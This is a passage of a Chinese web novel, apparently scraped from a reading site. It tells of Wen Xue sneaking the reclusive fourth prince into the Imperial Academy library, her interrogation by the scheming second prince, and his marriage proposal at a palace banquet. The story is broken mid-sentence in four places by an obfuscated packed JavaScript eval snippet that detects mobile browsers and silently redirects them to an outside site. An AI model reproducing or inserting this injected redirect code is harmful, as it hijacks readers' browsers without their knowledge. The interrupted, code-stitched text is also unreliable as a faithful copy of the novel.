被吼的侍卫拱手相待,有些汗颜,“抱歉公子,实在是您拿不出牌令,不好放行。”
那男子并不买账。
“我已经说过了,本公子乃是太尉府上的二公子,如今不过是丢了牌令罢了,身份、地位依然摆在这里,你如此阻我,便是在开罪太尉府!”
“这……”
被他如此一闹,拦下他的侍卫底气越发不足起来……
而另一边,一高一矮两个身着同样衣襟的人缓缓走来。
远远地便瞧见了太学这座偌大的庭院楼阁,在宽阔的围墙深处探出来,容适不解,“我们究竟要做什么?”
“杀人放火,作奸犯科……”眼看着容适的脸色就要变僵,温雪赶忙转口,“自然是不可能的。”
容适依然一脸茫然,没什么情绪起伏。
嗯……第不知几次逗他,又失败了。
温雪清了清嗓子,正色道:“我哥哥,哦,便是那日在医馆前将我带走的那人,乃是太学一名学子。平日里我无所事事时,便……偷了我哥哥的这身衣服,打扮成世家少公子,糊弄进去。”
容适不解,“做什么?”
只见面前这位姑娘的眼睛亮了亮,“自然是……去藏书阁,偷书,不,借书!”
被她说得一愣一愣,容适不知作何表态。
只是听起来,似乎不是一件正当的事。
她却道:“所谓,有借有还,再借不难,藏书阁乃是京城最大的书阁,若那些书只是藏在阁楼里,却不能叫人读,岂不是一摊死水罢了?”
这理嘛,确是这么个理。
只是她的手段,有些特别罢了。可是……非常之事,非常手段,又有何不可?
容适顺从地点了点头。
温雪立刻笑开了,然而下一刻,她便笑不出来了。
不远处,一位一看便是太学学子打扮的公子,正怒火中烧地与门口看守的侍卫相谈,身旁各有二人相与。
仔细听他们的话,似乎,是由着“牌令”二字展开。
最后,侍卫身旁之人鞠了一礼道:“柳公子,此事着实怪不得这位侍卫大哥,如今既然此事解决了,这牌令一事便也就过去了。”
他又压低了嗓音,“咱们也是没法子,近日太学里……丢了些东西,才出此下策,以牌令正身,防外人进入,还请柳公子见谅。”
只是隔得太远,叫温雪听不清了。
牌令……不会吧?
莫不是如今进入太学也要牌令方可进入了?
温雪懊恼地揉了揉脑袋,她本想容适喜看书,便带他来太学走一遭,兴许能叫他改了之前对太学的态度,好听太后的话。
可如今,连衣着都扮好了,却连门口的进不去了?
温雪看向了容适,二人面面相觑片刻,她讪讪道:“子安……”
容适:?
“咱们,不如做些更刺激的?”
太学院外的围墙旁,一棵屹立的大树。
“子安……悠着些呀。”
茂盛的枝叶里头,细腻的嗓音穿透出来,透过斑驳的树影,依稀可见两个浅蓝色衣着的身影。
她瞧过了,宽广的围墙外空空荡荡,唯有一棵大树,枝桠修长繁茂,其中那一簇,伸展着探进了围墙里头。
颇有“一支红杏入墙去”的画面感。
温雪有些欲哭无泪,万万没想到,她还没将容适变成根正苗红的好少年,便已经带他体会了这些叫人丢颜面的事。
若是未来容适还是长歪……岂不是也有她的功劳?
到了枝桠的一端,远看是四下无人,往看下去是一篇草地。虽然杂草丛生,但瞧着应是不扎人的。
可温雪还是心生了惧意,颤着声线道:“子安,我,我先下去,若我没事,你便下来啊。”
说罢,便要闭着眼往下跳。
却被一把往回拽住了。
对上一双眼,容适似乎很不赞同。
接着,便见一个身影已经往下跃去,温雪忍住了惊呼,只一刹那,就见他已经稳稳落在了地上。
温雪默默咽了口唾沫。真,真厉害呀……
他将身上沾染上的落叶扫去,抬起一只隔壁,向她伸出手。
一瞬间,他这般刚毅的模样,似乎与上一世的那人重合了,又交错开了。
温雪心底打鼓,不知是因着树上太高还是其他的,她还是伸出了一只手,搭在下边那人的手上。
他的手,比她想象中宽厚些。
也比她想象中有力一些。
天旋地转一瞬,她便落在了地上。
……此时,她只心道,若早知如此,当初必然不会带他来这个地方了。
但现下,她没有后悔的机会,既然已经进来了,便是须得去藏书阁走一遭了!
若是不去……岂不吃亏?
此时的藏书阁,恰好是无人问津之时,但大门素来是敞开的。
溜进里头,温雪不由得再次赞叹,太学藏书阁,果然是堪比京城最大的阁楼,气势恢弘,放眼望去,满目都是书籍。
她想,若是有人将此处的书全看下来,那定然是个怪才。
“子安,你说过你喜书,对吧。”
容适点了点头,看着她眼里泛光,神采奕奕的模样,心情不由得好了几分。
“那这般多书,可曾见过?”
“未曾。”
温雪一脸艳羡,“若能常在此处读书,该是多好呀。”
她这话带了几分试探,“可惜我是女儿身,不得入学……子安,你应当是可以入学的吧,你可对此有意?”
她有些期待容适能一口应下她的话,然而并没有。
温雪目光黯了黯,果然他还是下意识排斥在这样的环境下与人打交道的。
也是,一个自小同自己相与了多年的人,如何能飞速流于大众,何况是与那些个普遍道貌岸然之人相处。
他能在她和太后的努力下,改变到如今地步,已
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453225|169512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是不易。
她将失落的心思收起来,“子安,你想看什么类型的书?此处都有编号,还细分了类目呢。”
“好。”
他没有回她先前的问题,便在此时应了一声,显得乖巧。
窗格子外的光映进来,落在这一排排的书架上。
“此处乃是官家记载下来的史书,此处则多是一些民间的奇闻怪谈,还有此处……”
温雪一边絮絮叨叨地讲着,一边慢悠悠地同容适走过浏览过这些书。
藏书阁类目详尽,连书名也标得细。
除去他上回提到的《天工》《九章》,温雪讲起了其他类似的书。她可是提前做过功课打听过的,这些书目冷得很,博学多闻的文人恐怕一辈子也读不到。可令温雪没想到的是,他竟多数都知晓。
温雪由衷赞叹道:“子安,你怎的看了这么多书?”
这下容适好似有些不好意思了,“想看,皇……奶奶会给。”
怪不得。
如此看来,太后对容适果真甚好。
忽然她瞧见了一本书名,唔,她于自家书房找了几回了都没能找到,终于叫她在这儿见到了。
正想抬手去拿,容适却先她一步将这本书抽了出来。
“你也知晓这本书吗?”
容适点了点头,“《万国志》,记载了除天启外的二百零八个地方。”
他竟是能将内容都背出来。
不得不说,温雪着实感到了讶异。
本以为他只是个于深宫之中隔绝世界的少年,没想到,他知晓的事物比他经历的要多许多。
温雪忽然就有些理解了,上一世的他为何后来能成为天启的帝王。
踽踽独行,却不是封闭了自己的双眼,做一个一叶障目之人。这天下之人,都是对他心存误会的吧,也包括她。
她忽然声音低落,“子安……这世上,原来有这么多地方,你可是想去瞧一瞧?”
她一问,容适沉默了下来。
半晌,才放低了声几不可闻地答:“我心里,从来装不下那么多。”
“你说什么?”温雪听得不是很清。
他却不答了。
看过再多,知晓再多,又与他何干?
在他的世界里,只要他想要的那些都在,那便够了。
还没等二人说完,忽闻一阵人声传来。
一个男声劝慰道:“柳公子不必为此事生气,不过是那侍卫不懂规矩罢了。丢了牌令,再补一个便是;他丢了饭碗,可就拿不回来咯。”
柳川冷哼一声,“本公子倒是不想跟他计较,如此不知变通的榆木脑袋,本公子还是第一回遇到!”
“也不怪那侍卫,这不是听闻太学里头丢了件东西,这才变得如此严苛。”
柳川疑惑道:“太学不过就是高官子弟的学堂么?最金贵的就是咱们这些个学子,还能丢什么贵重东西?”
“太学怎么说也是皇上造的,这究竟做什么用,咱们哪能知道呢?”
“你这话,值得细究啊!”
“可不,指不定就是有什么镇阁之宝,被什么贼人溜进来盗走了呢?”
“这些话可不能乱说……”
二人边谈论,边走近了温雪与容适藏身之处。
方才一听到有人进来,温雪便拉着容适,一个侧身躲在了书架后头,与墙面贴近的窄缝里。容适就在她身前,她却大气也不敢出。
看着温雪的脸,就在咫尺之间,容适不由得心跳快了几拍。他们先前,从未这般姿态,靠得如此之近过。
他觉得四周有些热,不适地往后挪一挪,却被温雪一把拉住了领子。
她对他做了一个“嘘”的手势,他登时不敢动了。
可二人如此相近,他能感受到,温雪的呼吸就喷洒在他的脸上,像挠痒痒似的。
不远处二人的交谈声逐渐远去,容适的心却跳得更快,可抑制不住的,是还想更近一点的心思。
温雪也察觉到了不自在,指尖微微一松,一本书直接掉在了地上。
“啪——”
一声落地声,在空旷的藏书阁响起,回声闷而长,显得格外突兀。
那二人一惊,转回身来:“谁?!”
13. 第 13 章
“何人在此?”
这回,温雪总算明白,何谓流年不利、时运不济。
她少时私闯太学这么多回,也未曾被抓过这么一回,如今带着容适,便偏生被抓着了。
无奈之下,她只好站了出来。若不这么做,只怕状况会更加糟糕。
“温雪?”那人脸色变了变。
见这人古怪的神色,温雪脑中忽然想起此人的名字——柳川。
她记起来了,他便是哥哥口中那位对自己有意,却与哥哥绝交的太尉之子。
温雪不由得心生尴尬。
哥哥与他说,多读书,便能遇见她,还真叫哥哥说准了。可她此刻,着实为这般的场景感到懊恼。
“温姑娘,你这、这是私闯太学吗?”
“柳公子,此事着实是一个误会,放了我们可好?”
柳川看了温雪一眼,她竟然,还记得自己的模样和名字。听着温雪柔柔的嗓音,便觉着有些不好意思。
正想说句“不妨事的”,让温雪赶紧走,却忽然与容适幽黑的眸子对上了。
顿时皱起了眉头,“这位是?温姑娘怎与他在一块?”
他看向容适,眉头紧皱,眼里充满了敌意。
他心悦温雪是真,在此遇见温雪,算得上是个惊喜。
本想或许可以借此让温雪欠自己个人情,如此他想接近温雪,便更好寻理由。
可为何温雪身边,会有个男子?他们又是什么关系?
这……温雪一时竟不知该如何解释。
忽然,门外又是一阵“兵荒马乱”之声。
柳川与其身边之人也立即转过身去,见一群来人气势汹汹地闯进来,不由拿起架势,厉声问道:“发生了何事?”
然而这回,即便是他太尉之子的身份,也失去了威慑力。
对方的回应更加厉声严辞:“听闻此地有人私闯太学,我等奉命抓人,依法处置!”
“奉命?奉谁之命?”
人群之间打开一条路,一位身着锦衣,身携佩剑的男子从他们之中走出,一手扶着佩剑,一手置于身后,气势威严、居高临下地看着他们。
“敢问阁下是?”
那人抱拳,向柳川等人躬身鞠了一礼,“卑职奉二皇子之命前来抓人。”
那人扫视了周围人一圈,目光停留在温雪和容适身上。
“二皇子有令,如若发现私闯太学者,一律带走问话。”
柳川等人目露异色,看向了温雪。
温雪也一脸茫然,此事与二皇子又有何关系?
柳川咬咬牙,想着为温雪辩护两句:“这位是尚书府上的千金,温雪姑娘,此次进太学虽不合规矩,但也绝无冒犯之意,便是如此也不能放她一马吗?”
“原来是尚书府上的温姑娘,卑职得罪了。”那人再作了个揖,故作敬意,可面上却是毫无起伏,一样的严峻,“二皇子道,无论如何,这规矩不能坏,胆敢私闯太学者,一律带走。”
温雪更加体会到了,何谓屋漏偏逢连夜雨。
她不明白,也想不通,闯太学一事,怎会牵扯出这多利益关系来?她不过是临时起意,来了一趟太学,并无预兆,又怎会与二皇子等人扯上关系了?
可这些人忽然出现,正是怀揣着捉拿私闯太学之人的目的而来,说明是早有准备。
她能想到的可能性只有两个。其一,二皇子是要抓的人并不是他们;其二,二皇子的眼线在此地等候多时,就等着有人前来太学院藏书阁。
脑中猛然浮现那日在书房前听到的,哥哥与父亲的对话,似乎便是提及了二皇子。
莫非其中,另有隐情?
温雪心中记挂着容适,她不便暴露容适的身份,想必容适也不会自报身份,作出“以权压人”的动作。
虽说凭借他们的身份,最后定能安然无恙,但暂且看这形势便知道,此次一行,在所难免,即使他们身份再高,也无法左右二皇子想做的事。
温雪担忧地转头将目光投向容适,容适却是回以她一个安定的眼神。
她心中一安,他的改变,似乎比她想象中还要多一些……
二人被扣着行进,却没有押往太学院主殿,却是被带往了院外。
路上,温雪偷偷伸出手来,去够住容适的手。
对方手一僵,却没有松开,但也没有握紧,只是任温雪牵住了自己。
四周安静得可怕,只余下他们行路时杂乱无章的脚步声。
温雪看着路,又看向那位锦衣佩剑的带头之人,“敢问,我们是要去往何处?”
“二皇子府邸。”
二皇子府上?
温雪觉得此事确有蹊跷,便一脸单纯地问:“二皇子,为何不是将我们带往公堂?”
那人转头,见温雪一脸茫然不解,便暂且放下了心中的戒备。
“太学院一事,已全权交由二皇子执掌,自然带到二皇子府上。”
温雪眨眨眼,“太学院一事,是指何事?”
那人却不顺着温雪的话往下回应,沉默了片刻,道:“温姑娘不必担忧,你与四皇子在一块,又贵为尚书府千金,只要你配合,二皇子自然不会为难你。”
“你怎知晓他是四皇子?”
温雪惊诧,对方却是不搭话了。
温雪暗暗琢磨,看来他知道的向来远比自己想象中的多。
再说配合?配合什么?
她心中觉得奇怪,疑虑越发浓重,可却无法问起。
忽然,大约行进了一炷香时间,他们行进之人忽然停下了。
前方又出现一个身影,他们一行人被拦下了。
温雪探头一看,前方之人不正是太后身边的刘公公吗?此前召她入宫时,她曾见过一面的。
“何人在此挡路?我们可是奉二皇子之命行事。”
刘公公直接无视他,笑吟吟地,淡定道:“太后召令,请温小姐与四皇子一同入宫。”
温雪顿时松了一口气。
这想必是太后听闻了容适与她私闯太学院一事,才急召二人入宫,目的就是将他们带出来。
“怎知你不是假冒太后之名,前来将人带走?”
刘公公冷哼一声,从袖口掏出一枚令牌,“这下可信了么?”
佩剑的男子眉头蹙成一团,脸色不大好,他无法违抗太后的命令,可若放了他们,也无法向二皇子交差。
最后,他只能无奈地将人带给了刘公公。
刘公公带了人就走,上了一辆马车,快车行进,入了皇宫。
来到熟悉的慈宁宫,刘公公便道,太后只召见了温雪一人,让容适往便殿去。
容适虽不乐意,可也没有违抗太后的命令。
进殿内时,太后正在殿上候着她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453226|169512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,且面色不虞。
温雪跪了下来,“见过太后,小女知错。”
“错在哪?”
“不该擅作主张,将四皇子做出私闯太学这等不合规矩之事。”
见她心里倒是很清楚自己想说什么,太后一时也恼怒不起来。
“我同你说过,叫你让老四自愿入太学,可没想到你竟会用如此方式,实在是……”瞥见温雪自己也双眸微垂,似是十分懊恼,不由叹了口气,“罢了,也无妨,既然此事已了,你便退下去吧。”
“……是。”
见太后没有为难自己的意思,温雪顿时松了口气。
她倒是还想询问有关二皇子之事,可问太后,实在不合时宜,便乖乖退了下去。
她一出殿门,便去寻容适所在的便殿。
见久久没寻到他,温雪便在路上抓了个丫头问:“四皇子在何处?”
那丫头下意识地摇了摇头,又想到了什么似的,道:“四皇子若是一个人,那想必是在后院湖边。”
温雪一路寻到湖边,果不其然,见到一个熟悉的身影。
怀里还抱着一只许久未见的猫。
“雪球?”温雪小跑过去,逗了逗猫,雪球从容适怀里探出爪子来,搭在温雪手上。
好生乖巧。
逗完雪球,温雪才抬头看向容适,却发现他一脸不愉快。
判断了一番他的情绪,温雪才道:“子安,你……你生气了?”
为着什么?
想了想,只可能是方才太后召见她一事惹恼了他吧。
原本她在他眼里,她应当只与他有瓜葛,可太后却单单召见了她。
认识太后,岂不是说明,她有可能是有目的地接近他?虽说,自上次被太后召见后,她确实带了些许小心思。
“我……”
她正要解释,却听容适开口:“为何先关心它?”
嗯……?
温雪呆滞一瞬,松了口气,“你便是为着这个不高兴呀?”
“还有一事?”容适垂下眸,放低了声音,“那个男子是谁?”
男子……谁?温雪回想许久,发觉容适指的应当是……柳川?
突然意识到什么,她按下心中些许的小雀跃,抑制住自己扬起的嘴角,一本正经道:“你可指柳川?见过一面罢了,我并不喜他。”
“嗯。”容适低低地应了一声,想问她喜谁,却又不敢。
想起先前走在路上时,她分明拉住了他的手,那又是……何意?
*
二皇子府,屋内,一身锦衣,身带佩剑的男子,在二皇子面前屈膝半跪。
身着华服的男子背对着他,压低的嗓音,透着阴狠的气息。
“今日谁进了太学院?”
“回殿下,是尚书府上的独女,温雪,还有……”
“还有谁?”
“四皇子,容适。”
怎么会是这两个人?
“那人带来了吗?”
男子垂首,有些不甘道:“回殿下,人被太后带走了。”
二皇子容治猛然抬头,竟然是被太后带走了……
“那东西呢?”
“东西,不见了……”
不见了?好个不见了。
他将手中的信纸揉成了一团,音色愈发阴狠,“想办法,将温雪给我带来。”
14. 第 14 章
从皇宫里出来之后,温雪便一直惦念着这件事。
她总觉得,事情的一切没有这么简单,总有什么是她琢磨不透的。
宫外,正候着一辆马车,周身富丽堂皇,一看便是宫廷内用的,贵气得很。
“温姑娘,这是太后为您准备的马车,您请上吧。”一位侍从走上前,毕恭毕敬地对温雪道。
温雪道了声谢,便上了车。
在车上,思来想去从前的事情,果然她对朝堂政事知晓得还是太少,上一世被保护得太好,以至于最后,她什么也不知道。
郁结了一辈子,匆匆了解了一生。
如此继续想,又要伤感下去了。温雪止住心思,撩开帘子一瞧,外边却不是去往尚书府的路。
心头一震,忽觉不妙,温雪喊了一声“停车”,车辆没停下,反而行驶得更快了些,将温雪猛地一晃,身体撞在了椅背上。
直到一处偏僻的角落,马车才匆匆停下,那位赶车的侍从出手,将温雪从马车上迅速带下来,用麻布缠上她的双眼,也将她的手绑住。
温雪挣了挣,可也知道没什么用,她必然是挣不脱的。
背后的侍从的嗓音低哑带着阴狠,“温姑娘,得罪了。”
说罢,便推着她往前行进。
温雪心中大骇,却强迫自己冷静下来。
如此大费周章地将她带过来,还要将她的手绑上,双眼蒙上,说明对方并不想伤害自己,只是不想知道自己被带往了何处,也不想知道她要见的是什么人。
既然不会对她的性命造成威胁,她便更需冷静,眼下能做的,只有能多掌握些线索,便多把握些。
她想,此事发生得突然,此刻蒙她双眼,不让见人,那么此人应当与自己有几分联系。
她本就料想这事与二皇子应当脱不开关系,她猜,现在要找她的人十有八九是二皇子的人。
可是,为何偏偏要找她?这究竟与她私闯太学又有何关系?
她不过是私闯太学罢了,又何至于如此?
正思索着,带她行进之人忽然就停下了。
到了?
她竖耳听了听,周围很安静,春日多鸟叫声,从方才起,声音便远了许多,应当是进入室内了。
又仔细嗅了嗅,四周还隐隐约约飘散着一股香气,有些熟悉的香气。
不过应当是散了许久了,并不是如何明显。
她被带往一处,扣押着跪下,一个声音传入她的耳朵。
“温姑娘,胆子好大,听闻你今日私闯了太学?”
这个声音很陌生,她从未听过,而且好生奇怪,听不出男女,也听不出音调。
难不成,是用了什么拟声之法?
温雪不慌不忙道:“确是如此。”
温雪猜到将她带来问话的,应该是二皇子的人,却想不到,正是二皇子本人。
不远处的座位上,二皇子给自己倒了一杯茶,品了两口。
见温雪一副镇定自若的模样,嘴角微微勾了勾,这个温雪倒是有意思,身为女眷,闯太学不说,便是被他带过来,也没有普通女孩那般受惊吓的模样。
模样……也生得很是不错。
可惜,可惜了,她那个父亲和哥哥,着实不讨喜,现在,还动他要的东西,破坏他的计划。
“你今日去藏书阁,做什么?”
温雪闻言,微微蹙眉,语气无辜,“藏书阁,作用自然是藏书,小女去一个全是书的地方,不是读书,还应当做什么?”
“呵呵……”对方轻笑了两声,“温姑娘可是牙尖嘴利。”
又道:“温姑娘从太学出来后,又见了谁?”
语气虽没什么变化,可温雪明显感觉到更阴冷了些。
“太后。”
“为何要见太后?”
“太后召见,小女也不知。”
“太后同你说了什么?”
“自然是知晓了小女私闯太学之事,要训诫小女。”
温雪回得又快又淡定,对方沉默了一瞬,冷笑,“看来你同太后的关系,甚是亲昵。”
太学一事,是容适与她一块犯的,容适是皇家子弟,自然无事,可温雪不同,犯了此事,若真追究起来,必然要依法理处置。
太后却保了她。
这哪里是训诫,分明就是要护着她!
温雪咽了口口水,她怎么会同太后关系好,太后护她,不过是因为容适罢了。
可听闻二皇子是个生性多疑之人,有些事她不能多说,尚且不知道对方会如何猜想。
正如温雪所想的,二皇子此时心中揣测无数。
太后不问朝政之事已经多年,怎么可能会对一官家女子如此上心?除非是为了温家。
不过温雪一介女流,再刁难下去,也没什么意义。
为避免打草惊蛇,还是将温雪暂时先放回去。
自然,也不忘警告温雪对今日之事须“三缄其口”。
话锋一转,“温姑娘,今日之事若是透出半点风声……”
“小女今日面见太后之后便回府了,路上什么也没有发生。”温雪急忙道。
“算你识相。”
知趣又好掌控的女人罢了,留着,还是有点用处的。
温雪心下猛地松了口气,又是一路被蒙着双眼,回到马车里,一切归于平静,似乎什么都没有发生。
二皇子独坐椅子上,饮了口茶,神色晦暗不明。
边猜测,边喃喃道:“这个老太婆,莫不是想笼络温家……”
可,又是为了谁呢?
*
温雪回到府中,心中仍有些难以平静。
其中一定还有什么关节是自己不知道的。
正待她在房间里百思不得其解之时,温珩恰好找上门来。
一进来,便道:“听闻你今日私闯太学了?还差点被带走?”
温雪头疼地抓了抓脑袋,不就是闯了个书阁吗?这怎么一个两个的,都抓着她不放呀?
讪笑两声,委委屈屈道:“是呀,哥哥,这究竟是怎么一回事呀。”
上一世,她便是什么都不知道,好不容易让她有了牵扯,她非得知道这背后到底有什么秘密不可。
可显然,哥哥不会轻易将事情告诉她。
“此事……你就不必知道了,总之,往后不要再做这种事了。”
看来哥哥果然
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453227|169512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是对她隐瞒了一些事情。
温雪不大满意,娇嗔道:“哥哥……你就告诉我嘛。哥哥……”
然而温珩很是绝情:“撒娇也没用!”
温雪有些不高兴,可也没办法。无奈叹息。
见状,温珩笑着转了话题:“下月便是天启国宴,到时我们家必然受邀进宫,便带你一同入宫,你从前不是最期待这些个场面的?”
天启兴国百年,宫中国宴必定是恢宏盛大。
除了几番被太后召入慈宁宫,温雪上一回入宫,还是十年前的皇帝寿宴。
宫中宴会有吃有喝有玩,又有许多新鲜事物,若是过去的她,确实新奇得紧。
上一世似乎也有过这么一回事,不过她也没什么印象了。
送走哥哥之后,便一个人在桌前坐下,又想起了容适。
不知道依照容适现在的性子,会否出现在这宫宴上呢?
他如此不喜人多之处,想必是不会的吧……
摇了摇头,拿出了几本书来看,一下便到夜里,有月光透过窗户散落下来。
静谧得只有稀碎虫鸣的夜里,忽然传来几声清亮又娇气的猫叫,一下子吸引了温雪的注意。
似乎……是从窗外传来的。
窗外恰好是一片草地。
打开窗子,一只雪白的小东西映入眼帘。
同时,抱着它的主人,同它一般,抬起头,倒映着月光,眼神明亮。
温雪:“……”
猫和主人的眼神,简直如出一辙。
讶异了一瞬,便忙顺着窗台爬了出来。
“子安?你怎么在这里?”
容适收回眼神,凝神思考了许久,大概是在找自己出现在这里的理由。
半晌,拖起了怀里的家伙:“它想见你。”
雪球很是识趣地“喵”了一声。
温雪:“……”
想想也知道他在胡说,但还是很给面子地接过了雪球,并薅了两把毛。
忽然想到了什么,皱眉抬头,“不对,你是怎么进来的?”
容适指了指远处一处府上围墙,恰好有一棵树,探着枝丫。
似乎在说:你是怎么进的太学,我便是怎么进的你家府邸。
温雪:“……”
她好像真是把一个根正苗红的好少年带坏了。
看着面前这位爬了墙与她“幽会”还毫无压力的某人,温雪忍不住就想逗逗他。
于是她故作羞赧地低下了头:“子安,你这可是翻墙私会,如此出格的事,叫人看见了,咱们可是会有私相授受的嫌疑……”
果不其然,容适愣了愣,他想见她,根本没想这么多,一时间被她说得手足无措起来。若不是天色暗,他此时脸色定是更加古怪。
硬生生挤出一句“抱歉”,便将雪球从温雪怀里顺走,转身便走,身影便没入了夜色之中。
回头才想起来,他竟是连自己想问的话,也给忘了……
温雪没能叫住容适,站在窗边看着月光心里暗暗后悔:好像……又逗过头了。
哎,今晚月色分明这么美……
月下幽会什么的,再多来几次,她也不介意呀!
15. 第 15 章
皇宴。
为展示天启繁荣昌盛,国泰民安,这回的宴席也是下了大排场的。
宴请了朝廷内的重臣及家属,也邀约了京城内知名琴师、舞姬,欢迎来客,以示热忱。
太后,皇上与皇后在主位上,接受着夏、辽宾客的美誉与赞礼,主位下,月光洒下来,与灯火一同熠熠生辉,一片歌舞升平。
温雪坐落在席间,环视了好几圈,没找到她想找的身影,正有些遗憾地想,他果然没有出现在这样场合,便对上了一双不善的眼眸。
是二皇子。
忆起了前几日的遭遇,温雪心头一跳,忙做出低眉顺眼的模样,躲开眼神,将那些乱糟糟的念头抛出去。
温雪心中仍有不安,便借着“更衣”之由暂离片刻。路上,正纠结自己该不该去寻容适,却忽然又遇到了此刻最不想遇到的人。
“这位可是温姑娘?”男声道。
温雪无奈顿住脚步,低头行礼,“温雪见过二皇子。”
“呵呵,此前从未细瞧过温姑娘,只听京城传闻温姑娘知书达理,温文尔雅,没想到竟是这样的貌美,才貌双全呐。”
“二皇子过奖了。温雪这怕是出来久了,该惹爹爹不愉快了。”
温雪听他满口胡言,心中不屑,却是不敢说什么,只得赶紧找理由先遁走。
二皇子远远看着温雪快步走掉的窈窕背影,心中一个想法产生。
若是想要权力稳固,温家虽不是最关键的,但也确实是块难啃的骨头,何况老太婆和温家许是有什么私下来往,定不是站在自己这边。
可若是将温雪娶过来……那依着温廷宠妻女的性子,还怕他不帮衬自己不成?
这么一想,无论是见色起意,还是深思熟虑,这笔交易,怎么也不会亏了。
嘴角得意地上扬,再次回到宫宴上,歌舞已折腾差不多了,皇帝正与夏辽两国的使臣友好会谈。
这些年夏辽两国之间纷争不断,便宜了天启,没有战争纷乱,因此百姓安居乐业,强盛了起来。直到近日,两国似乎暂停战争,有友好结交之意,便一同前来天启,以表三国安宁。
皇帝也早有与两国结交之意。若是两国停战联合对抗天启,那天启再强盛,也必不是对手。不如先与一国友好邦交,拉拢为自己人。
因此,联姻是最好的方式。这一点,宴席之人都心知肚明。
“听闻大辽太子此次亲自前来我天启,是有与我天启联姻之意,既然如此,便将我天启的安宁郡主许予太子殿下,如何?”
天启公主早夭,皇帝膝下无女,这位安宁郡主受的待遇,等同于天启的公主。这也是大辽大老远来天启的目的。
一场大家意料之中的姻缘促成,在场充满了婚嫁的喜气。
“今日是个喜气的日子,朕便与诸位同举杯,以示庆贺。”
皇帝刚要举杯,二皇子的声音便在大宴上响起:“父皇大人,儿臣有一事相求,为儿臣也点个鸳鸯谱,今日便喜上加喜,父皇看如何?”
皇帝抬眉:“老二这是看上哪家姑娘了?”
温雪心中一沉,看向二皇子,目光果然对上了。
“温大人家的千金,温雪姑娘。”
此话一出,温雪愣住了,温雪的父母哥哥也愣住了。
“哦?”皇帝正要看过来。
忽然一道声音紧跟着响起:“不可!”显得有些仓促。
温雪一惊,宴席上的众人也一惊,纷纷侧目。
一瞬间,温雪便已经辨认出这是谁的声音。
是容适。
原来他在。
他出现得突兀,众人的目光纷纷落在这个少年身上,心想这是哪家少爷,如此不懂事。眼尖的立刻认出,这是近日有些传闻的四皇子。
这些打量的目光落在容适身上,容适攥紧了拳,像极了虫子在身上爬过的感觉。
他也不知道为什么,知道温雪可能会在,便到了他讨厌的宴席。刚刚在角落听到二皇子要温雪,他就不假思索地站了起来反对。
可现在,面对这么多人,他一句话也说不出口……
“温雪见过皇上。”静静的宴厅,温雪顾不上自己爹爹的态度,徐徐开口,“温雪谢过二皇子抬爱,可小女觉着,今日是各方来使的盛宴,是安宁郡主与大辽太子的喜日,小女自然是不敢与郡主比,不敢带走半分喜气的。”
婉拒的话出口,在场之人的目光也集中到了温雪身上。温雪屏了口气。
皇帝看她一眼,轻笑了一声,道:“既然如此,朕今日便不点鸳鸯谱了。”
温雪这才松了一口气。
转头想去找那抹身影,却发现,他已经不在原地了。
一个时辰后,宴席在莺歌燕舞中散了。
之后连着好些日子,温雪都未再见过容适。反倒是那二皇子,夜宴求亲被拒之后,似乎暗暗里频频向她温家示好,不知葫芦里卖的什么药。
也幸亏他那日求亲不成,便没再向皇帝求旨,否则谕旨一下,她便是想推拒也使不得了。
另一边,皇宫里。
自宫宴结束后的几日,容适过得不自在极了。
那日夜宴,他猜想温雪应当是官家小姐,有可能受邀进宫,于是,即使他再讨厌宴席上觥筹交错的场景,他也想来宴上远远瞧一眼。
谁知,刚到席间,便听到他这位素不相识的二哥,向皇帝求亲了。
求的人,是温雪。
那一瞬间,不知为何就慌了。那句“不可”下意识地脱口而出。
可是,当众人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453228|169512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的目光集中在他身上时,他又顿时说不出话来,生理性地哽住,想吐的感觉涌上心头。
他有病,他有病!
什么都做不了的这一刻,他愤恨自己。
连一句话都说不了!
他真是……不中用极了!
